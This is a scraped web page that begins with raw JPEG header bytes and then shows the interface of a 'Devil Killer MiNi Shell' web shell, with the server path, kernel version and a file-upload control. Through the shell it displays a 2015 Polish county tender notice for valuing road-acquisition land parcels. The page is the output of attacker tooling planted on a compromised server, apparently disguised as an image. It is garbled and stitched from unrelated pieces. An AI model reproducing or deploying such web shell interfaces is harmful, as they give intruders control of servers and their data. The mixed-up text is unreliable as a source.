JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20151116/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20151116/166641-N-2015.html

<p class="kh_header"><b>Białystok: wykonanie operatów szacunkowych</b><br>
<b>Numer ogłoszenia: 166641 - 2015; data zamieszczenia: 16.11.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Starostwo Powiatowe w  Białymstoku , ul. Borsucza 2, 15-569 Białystok, woj. podlaskie, tel. 85 740 39 51, faks 85 740 39 82.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> wykonanie operatów szacunkowych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Wykonanie w roku 2015 operatów szacunkowych określających wartość nieruchomości  (wartość rynkową) położonych na terenie powiatu białostockiego, niezbędnych w prowadzonych postępowaniach administracyjnych, dotyczących:

Część A:
nieruchomości, wymienionych poniżej, które przejęte zostały  pod drogi   w trybie przepisów ustawy z dnia 10 kwietnia 2003 roku o szczególnych zasadach przygotowania i realizacji inwestycji w zakresie dróg publicznych  - w celu ustalenia za nie wysokości odszkodowania;  przy wycenie wartości nieruchomości należy uwzględnić między innymi przepisy wynikające z rozporządzenia Rady Ministrów z dnia 4 września 2004 roku  w sprawie wyceny nieruchomości i sporządzania operatu szacunkowego (Dz. U. Nr 207, poz. 2109 z późn. zm):
Obręb Rzędziany, gm. Tykocin  - 27 działek, decyzja zrid nr AR.6740.03.18.2015 z dn. 30.09.2015r. (droga powiatowa)wycena prawa własności i ograniczonych praw rzeczowych, o ile istnieją:
1.	działka nr 39/28 o pow. 0,0107 ha, KW BI1B/00038913/6,
2.	działka nr 35/9 o pow. 0,0060 ha, działka nr 35/10 o pow. 0,0065 ha, KW BI1B/00081344/2,
3.	działka nr 36/4 o pow. 0,0090 ha, działka nr 37/7 o pow. 0,0022 ha, KW BI1B/00070699/5,
4.	działka nr 37/9 o pow. 0,0053 ha, działka nr 38/8 o pow. 0,0004 ha, działka nr 38/10 o pow. 0,0062 ha, KW BI1B/00178208/4,
5.	działka nr 39/18 o pow. 0,0484 ha, KW BI1B/00035757/3,
6.	działka nr 40/2 o pow. 0,0269 ha, działka nr 40/3 o pow. 0,0307 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
7.	działka nr 41/7 o pow. 0,0088 ha, działka nr 41/9 o pow. 0,0081 ha, działka nr 42/11 o pow. 0,0017 ha,  BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
8.	działka nr 42/13 o pow. 0,0065 ha, działka nr 43/5 o pow. 0,0015 ha, działka nr 43/7 o pow. 0,0017 ha, działka nr 42/13 o pow. 0,0051 ha, KW BI1B/00022830/5,
9.	działka nr 44/13 o pow. 0,0064 ha,  BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
10.	działka nr 44/15 o pow. 0,0124 ha, KW BI1B/00165906/3,
11.	działka nr 44/17 o pow. 0,0058 ha, KW BI1B/00165908/7,
12.	działka nr 35/7 o pow. 0,0412 ha, działka nr 39/20 o pow. 0,0075 ha, działka nr 39/26 o pow. 0,0193 ha, działka nr 39/30 o pow. 0,0046 ha, działka nr 39/32 o pow. 0,0051 ha, KW BI1B/0007953/5,
13.	działka nr 33/4 o pow. 0,0361 ha, KW BI1B/00134570/2,


Obręb Sawino, gm. Tykocin  - 33 działki, decyzja zrid nr AR.6740.03.18.2015 z dn. 30.09.2015r. (droga powiatowa)wycena prawa własności i ograniczonych praw rzeczowych, o ile istnieją:
1.	działka nr 4/4 o pow. 0,0131 ha, KW BI1B/00068863/9,
2.	działka nr 6/4 o pow. 0,0173 ha, KW BI1B/00128030/0,
3.	działka nr 5/3 o pow. 0,0134 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
4.	działka nr 73/4 o pow. 0,0028 ha, działka nr 74/2 o pow. 0,0079 ha, działka nr 29/5 o pow. 0,0275 ha, KW BI1B/00082026/4,
5.	działka nr 72/8 o pow. 0,0087 ha, KW BI1B/00038913/6,
6.	działka nr 72/10 o pow. 0,0116 ha, KW BI1B/00033499/2,
7.	działka nr 31/4 o pow. 0,0058 ha, działka nr 69/5 o pow. 0,0127 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
8.	działka nr 65/11 o pow. 0,0076 ha, KW BI1B/00081718/5,
9.	działka nr 32/4 o pow. 0,0118 ha,  KW BI1B/00107678/1,
10.	działka nr 35/8 o pow. 0,0062 ha, KW BI1B/00222765/0,
11.	działka nr 35/10 o pow. 0,0035 ha, KW BI1B/00070300/2,
12.	działka nr 36/17 o pow. 0,0893 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
13.	działka nr 36/19 o pow. 0,0022 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
14.	działka nr 36/21 o pow. 0,0190 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
15.	działka nr 58/4 o pow. 0,0191 ha, KW BI1B/00224319/3,
16.	działka nr 59/4 o pow. 0,0379 ha, KW BI1B/00045855/3,
17.	działka nr 65/9 o pow. 0,0096 ha, KW BI1B/00032797/4,
18.	działka nr 66/4 o pow. 0,0078 ha, KW BI1B/00108703/3,
19.	działka nr 70/4 o pow. 0,0183 ha, KW BI1B/00035648/6,
20.	działka nr 71/6 o pow. 0,0062 ha, KW BI1B/00105204/4,
21.	działka nr 70/6 o pow. 0,0045 ha, KW BI1B/00081651/7,
22.	działka nr 75/5 o pow. 0,0111 ha, KW BI1B/00224358/8,
23.	działka nr 81/2 o pow. 0,0281 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
24.	działka nr 82/7o pow. 0,0041 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
25.	działka nr 83/2 (w całości) o pow. 0,0244 ha, działka nr 83/5 o pow. 0,0140 ha, KW BI1B/00038458/8,
26.	działka nr 299/8 o pow. 0,0098 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
27.	działka nr 299/10 o pow. 0,0065 ha, KW BI1B/00070087/2,
28.	działka nr 301/4 o pow. 0,0277 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
29.	działka nr 79/1 (w całości) o pow. 0,0208 ha, KW BI1B/00033554/6,

Razem 60 działek

Część B:
nieruchomości, wymienionych poniżej, które przejęte zostały  pod drogi   w trybie przepisów ustawy z dnia 10 kwietnia 2003 roku o szczególnych zasadach przygotowania i realizacji inwestycji w zakresie dróg publicznych  - w celu ustalenia za nie wysokości odszkodowania;  przy wycenie wartości nieruchomości należy uwzględnić między innymi przepisy wynikające z rozporządzenia Rady Ministrów z dnia 4 września 2004 roku  w sprawie wyceny nieruchomości i sporządzania operatu szacunkowego (Dz. U. Nr 207, poz. 2109 z późn. zm):
Obręb Tykocin, gm. Tykocin  - 77 działek, decyzja zrid nr AR.6740.03.18.2015 z dn. 30.09.2015r. (droga powiatowa)wycena prawa własności i ograniczonych praw rzeczowych, o ile istnieją:
1.	działka nr 2056/2 o pow. 0,0102 ha, KW BI1B/00136684/8,
2.	działka nr 2058/2 o pow. 0,0148 ha, KW BI1B/00096489/8,
3.	działka nr 2059/2 o pow. 0,0079 ha, KW BI1B/00120142/2,
4.	działka nr 2066/2 o pow. 0,0192 ha, KW BI1B/00032390/1,
5.	działka nr 2076/6 o pow. 0,0086 ha, działka nr 2076/8 o pow. 0,0020 ha,  KW BI1B/00064759/9,
6.	działka nr 2085/2 o pow. 0,0029 ha, KW BI1B/00002668/2,
7.	działka nr 2086/4 o pow. 0,0010 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
8.	działka nr 2086/6 o pow. 0,0009 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
9.	działka nr 2078/2 o pow. 0,0033 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
10.	działka nr 2094/2 o pow. 0,0049 ha, KW BI1B/00102441/6,
11.	działka nr 2152/4 o pow. 0,0130 ha, KW BI1B/00196058/9, 
12.	działka nr 2153/2 o pow. 0,0074 ha, działka nr 2152/6 o pow. 0,0009 ha KW BI1B/00030139/0,
13.	działka nr 2068/2 o pow. 0,0274 ha, KW BI1B/00102954/5,
14.	działka nr 2075/2 o pow. 0,0106 ha, KW BI1B/00034511/0,
15.	działka nr 2077/2 o pow. 0,0064 ha, KW BI1B/00114731/3,
16.	działka nr 2079/2 o pow. 0,0041 ha, KW BI1B/00149291/0,
17.	działka nr 2080/2 o pow. 0,0232 ha, KW BI1B/00097514/0,
18.	działka nr 2084/2 o pow. 0,0062 ha, KW BI1B/00032540/8,
19.	działka nr 2154/2 o pow. 0,0123 ha, KW BI1B/00039554/8,
20.	działka nr 2155/2 o pow. 0,0029 ha, działka nr 735/17 o pow. 0,0063 ha,  KW BI1B/00101162/9,
21.	działka nr 2156/2 o pow. 0,0032 ha, KW BI1B/00097699/0,
22.	działka nr 2157/2 o pow. 0,0037 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
23.	działka nr 2158/2 o pow. 0,0085 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
24.	działka nr 2159/2 o pow. 0,0278 ha, KW BI1B/00049863/0,
25.	działka nr 733/2 o pow. 0,0197 ha, KW BI1B/00030306/2,
26.	działka nr 732/6 o pow. 0,0118 ha, KW BI1B/00040403/5,
27.	działka nr 734/8 o pow. 0,0123 ha, działka nr 748/2 o pow. 0,0179 ha, KW BI1B/00176701/6,
28.	działka nr 734/10 o pow. 0,0041 ha, KW BI1B/00037795/5,
29.	działka nr 734/12 o pow. 0,0054 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
30.	działka nr 735/13 o pow. 0,0029 ha, KW BI1B/00018851/7,
31.	działka nr 735/15 o pow. 0,0084 ha, KW BI1B/00089765/5,
32.	działka nr 737/14 o pow. 0,0073 ha, KW BI1B/00040990/6,
33.	działka nr 737/12 o pow. 0,0073 ha, działka nr 749/19 o pow. 0,0017 ha, KW BI1B/00086772/6,
34.	działka nr 738/11 o pow. 0,0048 ha, KW BI1B/00083078/0,
35.	działka nr 738/13 o pow. 0,0142 ha, KW BI1B/00052143/1,
36.	działka nr 741/17 o pow. 0,0259 ha, KW BI1B/00070333/2,
37.	działka nr 741/19 o pow. 0,0055 ha, KW BI1B/00230280/5,
38.	działka nr 740/4 o pow. 0,0044 ha, KW BI1B/00160729/3,
39.	działka nr 742/10 o pow. 0,0131 ha, KW BI1B/00209999/2,
40.	działka nr 742/12 o pow. 0,0086 ha, KW BI1B/00055484/4,
41.	działka nr 744/9 o pow. 0,0036 ha, KW BI1B/00102789/7,
42.	działka nr 473/5 o pow. 0,0231 ha, KW BI1B/00101379/3,
43.	działka nr 746/5 o pow. 0,0025 ha, KW BI1B/00233296/1,
44.	działka nr 746/7 o pow. 0,0023 ha, KW BI1B/00101984/7,
45.	działka nr 747/8 o pow. 0,0076 ha, KW BI1B/00094705/5,
46.	działka nr 747/6 o pow. 0,0023 ha, KW BI1B/00068307/4,
47.	działka nr 749/17 o pow. 0,0017 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
48.	działka nr 749/21 o pow. 0,0017 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
49.	działka nr 749/23 o pow. 0,0082 ha, KW BI1B/00103750/2,
50.	działka nr 750/2 o pow. 0,0202 ha, KW BI1B/00039008/6,
51.	działka nr 751/11 o pow. 0,0032 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
52.	działka nr 751/13 o pow. 0,0058 ha, działka nr 751/19 o pow. 0,0067 ha,  KW BI1B/00212004/5,
53.	działka nr 751/17 o pow. 0,0031 ha, działka nr 2088/2 o pow. 0,0113 ha,  KW BI1B/00074452/0,
54.	działka nr 751/15 o pow. 0,0098 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
55.	działka nr 751/21 o pow. 0,0072 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
56.	działka nr 757/8 o pow. 0,0111 ha, KW BI1B/0004624/7,
57.	działka nr 757/12 o pow. 0,0287 ha, działka nr 757/10 o pow. 0,0107 ha, KW BI1B/00056794/7,
58.	działka nr 759/8 o pow. 0,0051 ha, działka nr 759/12 o pow. 0,0074 ha,  KW BI1B/00101495/2,
59.	działka nr 759/16 o pow. 0,0030 ha, KW BI1B/00082532/4,
60.	działka nr 762/2 o pow. 0,0054 ha, KW BI1B/00140523/3,
61.	działka nr 744/5 o pow. 0,0037 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
62.	działka nr 744/7 o pow. 0,0041 ha, KW BI1B/00043868/3,
63.	działka nr 745/2 o pow. 0,0085 ha, KW BI1B/00106664/3,
64.	działka nr 758/8 o pow. 0,0107 ha, działka nr 758/10 o pow. 0,0158 ha, działka nr 759/14 o pow. 0,0063 ha, działka nr 759/10 o pow. 0,0033 ha,  KW BI1B/00006081/1,
65.	działka nr 760/4 o pow. 0,0490 ha, KW BI1B/0010032162/4,

RAZEM 77 DZIAŁEK

Część C :
nieruchomości, wymienionych poniżej, które przejęte zostały  pod drogi   w trybie przepisów ustawy z dnia 10 kwietnia 2003 roku o szczególnych zasadach przygotowania i realizacji inwestycji w za kresie dróg publicznych  - w celu ustalenia za nie wysokości odszkodowania;  przy wycenie wartości nieruchomości należy uwzględnić między innymi przepisy wynikające z rozporządzenia Rady Ministrów z dnia 4 września 2004 roku  w sprawie wyceny nieruchomości i sporządzania operatu szacunkowego (Dz. U. Nr 207, poz. 2109 z późn. zm):

Obręb Saniki, gm. Tykocin  - 38 działek, decyzja zrid nr AR.6740.03.18.2015 z dn. 30.09.2015r. (droga powiatowa)wycena prawa własności i ograniczonych praw rzeczowych, o ile istnieją:
1.	działka nr 22/2 o pow. 0,0104 ha, KW BI1B/00193214/0,
2.	działka nr 95/2 o pow. 0,0043 ha, KW BI1B/00082532/4,
3.	działka nr 132/2 o pow. 0,0073 ha, działka nr 132/3 o pow. 0,0209 ha, KW BI1B/0032162/4,
4.	działka nr 191/2 o pow. 0,0081 ha, KW BI1B/00040341/2,
5.	działka nr 192/2 o pow. 0,0069 ha, KW BI1B/00006219/8,
6.	działka nr 180/2 o pow. 0,0042 ha, KW BI1B/00006123/8,
7.	działka nr 16/2 o pow. 0,0119 ha, KW BI1B/00039045/7,
8.	działka nr 97/2 o pow. 0,0099 ha, KW BI1B/00121230/3,
9.	działka nr 15/2 o pow. 0,0083 ha, działka nr 15/3 o pow. 0,0106 ha, BRAK INFORMACJI  KSIĘDZE WIECZYSTEJ, 
10.	działka nr 19/4 o pow. 0,0041 ha, działka nr 19/6 o pow. 0,0149 ha, działka nr 19/7 o pow. 0,0012 ha, działka nr 102/2 o pow. 0,0164 ha, KW BI1B/00011277/0,
11.	działka nr 83/2 o pow. 0,0106 ha, działka nr 83/3 o pow. 0,0059 ha, KW BI1B/00133982/6,
12.	działka nr 99/2 o pow. 0,0408 ha, KW BI1B/00062752/6,
13.	działka nr 190/2 o pow. 0,0227 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
14.	działka nr 193/2 o pow. 0,0020 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
15.	działka nr 206/2 o pow. 0,0019 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ, 
16.	działka nr 196/2 o pow. 0,0075 ha, działka nr 208/2 o pow. 0,0072 ha, działka na 194/2 o pow. 0,0017 ha, KW BI1B/00086590/6,
17.	działka nr 195/2 o pow. 0,0021 ha, działka nr 195/3 o pow. 0,0087 ha, działka nr 207/2 o pow. 0,0126 ha, działka nr 210/2 o pow. 0,0111 ha, działka nr 211/2 o pow. 0,0061 ha, BRAK INFORMACJI O KSIĘDZE WIECZYSTEJ,
18.	działka nr 197/2 o pow. 0,0152 ha, działka nr 198/2 o pow. 0,0176 ha, działka nr 209/2 o pow. 0,0085ha, KW BI1B/00128029/0,
19.	działka nr 277/2 o pow. 0,1219 ha, działka na 279/2 o pow. 0,0154 ha, działka nr 280/2 o pow. 0,0187 ha, KW BI1B/00079019/8,
20.	działka nr 281/2 o pow. 0,0765 ha, działka nr 283/2 o pow. 0,0652 ha, KW BI1B/00032797/4,
21.	działka nr 282/2 o pow. 0,0979 ha, KW BI1B/00020542/5,
RAZEM 38 DZIAŁEK.</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 71.31.90.00-7.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 3.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 21.12.2015.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>nie dotyczy</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca spełni ten warunek, jeżeli wykaże, że w ciągu ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres działalności jest krótszy - w tym okresie wykonał min.  dwa zamówienia dotyczące wyceny gruntów przejętych pod drogi publiczne. Wyceny winny być wykonane na zamówienie organów administracji publicznej i  w związku z prowadzonymi przez nie postępowaniami w trybie przepisów ustawy z dnia z dnia 10 kwietnia 2003 roku 
o szczególnych zasadach przygotowania i realizacji inwestycji w zakresie dróg publicznych. 
W przypadku składania ofert do każdej części należy przedstawić 6 wykonanych zamówień.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>nie dotyczy</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca spełni ten warunek, jeżeli wyznaczone przez niego osoby do realizacji powyższego zamówienia posiadają niezbędne uprawnienia do wykonywania szacowania nieruchomości.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wymaga się, aby wykonawca był ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

